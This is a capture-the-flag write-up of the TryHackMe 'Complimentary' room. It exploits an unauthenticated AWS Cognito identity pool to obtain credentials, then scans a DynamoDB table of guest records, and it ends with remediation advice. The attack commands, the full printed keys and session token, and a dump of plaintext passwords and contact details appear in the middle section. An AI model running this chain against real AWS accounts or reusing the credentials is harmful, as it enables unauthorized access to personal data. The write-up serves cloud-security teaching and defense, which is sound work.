Skip to main content

Command Palette

Search for a command to run...

Complimentary: DevSecOps x AWS (TryHackMe)

Updated
•9 min read•View as Markdown
Complimentary: DevSecOps x AWS (TryHackMe)
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: Complimentary

🛎️ Concierge Briefing

Lambo installed the Byte Lotus Wellness app the day she arrived — it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just… knows things about you the moment you open it.

That's the whole pitch: “complimentary” access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login — and whatever that something is, it isn't checking very carefully.

Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over.

🏖️ TODAY'S ITINERARY

  • [ ] Track down the AWS mechanism issuing you credentials behind the scenes.

  • [ ] Use those credentials to dump more than your own record from the app's DynamoDB table.

  • [ ] Retrieve the flag from another guest's data.

📸 @0xMia's STORY

@0xMia· posted 40 min after room unlock

"okay wait, the wellness app never once asked me to log in and it STILL knew my name when I opened it đź’€ something has to be quietly handing it access behind the scenes... if you find whatever that something is, don't just check what it gives YOU. ask it for more đź‘€"

  • Cloud

  • AWS

  • Cognito

  • IAM Misconfiguration

// Byte Lotus Wellness — guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

function guestId() {
  let id = localStorage.getItem("byteLotusGuestId");
  if (!id) {
    // First visit: hand out a throwaway guest id, same as checking in.
    id = "guest-" + Math.random().toString(36).slice(2, 10);
    localStorage.setItem("byteLotusGuestId", id);
  }
  return id;
}

function renderDashboard(item) {
  const el = document.getElementById("dashboard");
  if (!item) {
    el.textContent = "Welcome! We don't have wellness data for you yet — check back after your first spa visit.";
    return;
  }
  el.textContent = [
    "Name: " + (item.name ? item.name.S : "—"),
    "Loyalty notes: " + (item.notes ? item.notes.S : "—"),
  ].join("\n");
}

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }
      renderDashboard(data.Item);
    }
  );
});
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1
{
    "IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195"
}

next

aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
  --region us-east-1
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
  --region us-east-1
{
    "IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195",
    "Credentials": {
        "AccessKeyId": "ASIAU2VYTBGYFQ4B4OSV",
        "SecretKey": "kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs",
        "SessionToken": "IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j",
        "Expiration": "2026-08-01T22:17:26+00:00
aws sts get-caller-identity
{
    "UserId": "AROA2YR2KKQMU7XJ4LMJP:i-0a4bb4d524ee3e759",
    "Account": "739930428441",
    "Arn": "arn:aws:sts::739930428441:assumed-role/vulnerable-machine/i-0a4bb4d524ee3e759"
}
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYFQ4B4OSV"
root@ip-10-113-105-31:~# export AWS_SECRET_ACCESS_KEY="kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs"
root@ip-10-113-105-31:~# export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j"
root@ip-10-113-105-31:~# aws sts get-caller-identity
{
    "UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
    "Account": "332173347248",
    "Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1
{
    "Items": [
        {
            "password": {
                "S": "digitaldetox2026"
            },
            "location": {
                "S": "25.2055,55.2733"
            },
            "notes": {
                "S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that."
            },
            "guest_id": {
                "S": "guest-vibe"
            },
            "email": {
                "S": "vibe@hackerholidays.thm"
            },
            "phone": {
                "S": "+1-555-0193"
            },
            "name": {
                "S": "Vibe (Move Fast & Break Things)"
            }
        },
        {
            "password": {
                "S": "sunkissed88"
            },
            "location": {
                "S": "25.2048,55.2708"
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1 \
  --output json > /tmp/scan_full.json

cat /tmp/scan_full.json | grep -i "LastEvaluatedKey
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1 \
  --output json | grep -io "flag{[^\"]*}\|thm{[^\"]*}"
THM{fr33_app_fr33_redacted!}

Conclusion

This challenge is a textbook unauthenticated AWS Cognito Identity Pool → overly-permissive IAM role → unrestricted DynamoDB access chain — one of the most common real-world cloud misconfigurations, not a novel AI attack. It's a good reminder that "AI security" engagements very often terminate in plain old cloud IAM failures once you follow the data flow behind the flashy frontend.

Vulnerabilities identified

  1. Unauthenticated Cognito Identity Pool issuing real AWS credentials to anyone. The app hands out guest credentials via CognitoIdentityCredentials with zero login, zero auth challenge just calling get-id against the publicly-visible IDENTITY_POOL_ID (hardcoded in client-side JS) gets you an Identity ID, and get-credentials-for-identity turns that into live AccessKeyId/SecretKey/SessionToken. This is Cognito's "unauthenticated identities" feature used exactly as designed; the flaw is architectural, not a bug in Cognito itself.

  2. The unauth role is scoped far too broadly. sts get-caller-identity confirms the assumed role is complimentary-cognito-unauth-role. The intended use was "let this one guest read/write their own dashboard row" — but the actual IAM policy attached to that role permits dynamodb:Scan (and evidently full table read) rather than being restricted to GetItem/PutItem on a single partition key.

  3. No row-level / fine-grained access control on DynamoDB. Even if the intent was "each guest can only see their own guest_id row," nothing enforces that at the IAM layer. Cognito supports scoping DynamoDB IAM policies to the caller's own identity via policy variables(dynamodb:LeadingKeys: ${cognito-identity.amazonaws.com:sub}), and that mechanism was either not used or misconfigured, allowing a full table Scan instead of a GetItem limited to the caller's own partition key.

  4. Sensitive data stored in plaintext, unencrypted at the application level, in a table anyone can scan. The scan dump returned plaintext passwords, phone numbers, email, and precise geolocation for every guest — this is a severe data-exposure amplifier on top of the access control failure. Even with correct row-scoping, storing raw passwords in DynamoDB (vs. hashed/salted, or not storing them there at all) is its own finding.

  5. Client-controlled identity with no server-side validation. guestId() Generates a random ID entirely client-side (localStorage) with no backend issuing or validating it, meaning identity itself is trivially spoofable even before considering the IAM issue. An attacker doesn't just get to read others' data via Scan; they could also fabricate a guest_id and write/overwrite arbitrary "own" records via PutItem if that's permitted too.

  6. Secrets/config exposed in client-side source. The Identity Pool ID, region, and table name are all embedded directly in shipped JavaScript. Identity Pool IDs are meant to be public (that's how Cognito unauth flows work), but this underscores that anything in client code must be treated as public; the security boundary has to live entirely in IAM policy, not in obscurity of the pool ID or table name.

DevSecOps checklist for this class of vulnerability

Design/architecture review:

  • Any "no login required" feature backed by cloud credentials → confirm whether an authenticated identity is actually needed to prevent lateral data access, before defaulting to Cognito unauthenticated identities.

  • Map every unauth/guest role to the exact minimum action set required (e.g.,dynamodb:GetItem + dynamodb:PutItem, never Scan/Query without key conditions), least privilege by default, not by exception.

  • For any per-user data table reachable by an unauth or shared role, explicitly verify fine-grained access control is enforced at the IAM policy level (dynamodb:LeadingKeys conditions tied to cognito-identity.amazonaws.com:sub), not just assumed from application logic.

IAM/policy audit:

  • Run automated least-privilege analysis (AWS IAM Access Analyzer, Prowler, ScoutSuite, or similar) against every Cognito unauth/authenticated role on a recurring basis; flag any role with Scan, *, or wildcard resource ARNs.

  • Explicitly test: "what can assumed-role/-cognito-unauth-role do that isn't scoped to the caller's own identity?" as a standing red-team check for any app using Identity Pools.

  • Alert on IAM policy changes that grant table-wide read/write actions to any Cognito unauth role.

Data handling:

  • Never store plaintext credentials/passwords in any datastore, regardless of access-control assumptions hash+salt or eliminate entirely; defense in depth means this shouldn't be a crown-jewel exposure even if IAM fails.

  • Classify PII fields (email, phone, geolocation) and apply field-level encryption or a separate, more tightly-controlled table/store for anything above "public profile" sensitivity.

  • Don't conflate "wellness profile you show back to the user" data with "credentials/PII" data in the same item/table; separate stores make an IAM misconfiguration far less catastrophic.

Client-side hygiene:

  • Treat all client-bundled JS as fully public never rely on obscurity of pool IDs, table names, or endpoints as a control.

  • Don't derive identity purely client-side (localStorage random ID) for anything that maps to real backend data access; require a backend-issued, validated session/identity token even in a "frictionless" flow.

Monitoring/detection:

  • Enable CloudTrail logging for cognito-identity:GetCredentialsForIdentity and DynamoDB Scan calls; alert on Scan operations against tables that should only see GetItem/Query-by-key traffic from unauth roles.

  • Set up GuardDuty (or equivalent) anomaly detection for unauth-role credential usage patterns that deviate from expected single-item access.

Patch/remediation

  1. Immediately rotate/replace the exposed IAM role and any credentials tied to it assume the current unauth role and its permissions are fully compromised knowledge (this scan output alone is enough for real-world exploitation).

  2. Rewrite the unauth role's IAM policy to allow only: explicitly removing Scan/Query and binding key access to the caller's own Cognito identity.

       {
         "Effect": "Allow",
         "Action": ["dynamodb:GetItem", "dynamodb:PutItem"],
         "Resource": "arn:aws:dynamodb:us-east-1:<account>:table/complimentary-GuestWellnessProfiles",
         "Condition": {
           "ForAllValues:StringEquals": {
             "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
           }
         }
       }
    
  3. Migrate stored passwords out of DynamoDB entirely, or if credentials must be stored, hash them (bcrypt/Argon2) and store only the hash; plaintext password storage is a finding independent of the access-control fix.

  4. Move guestId() generation server-side, issued and validated against the Cognito Identity ID at write time, so a client can't fabricate or guess another guest's row key.

  5. Add automated policy-drift detection (e.g., AWS Config rules or a CI check on IaC) so any future change re-granting Scan or wildcard actions to the unauth role fails a build/deploy gate rather than reaching production.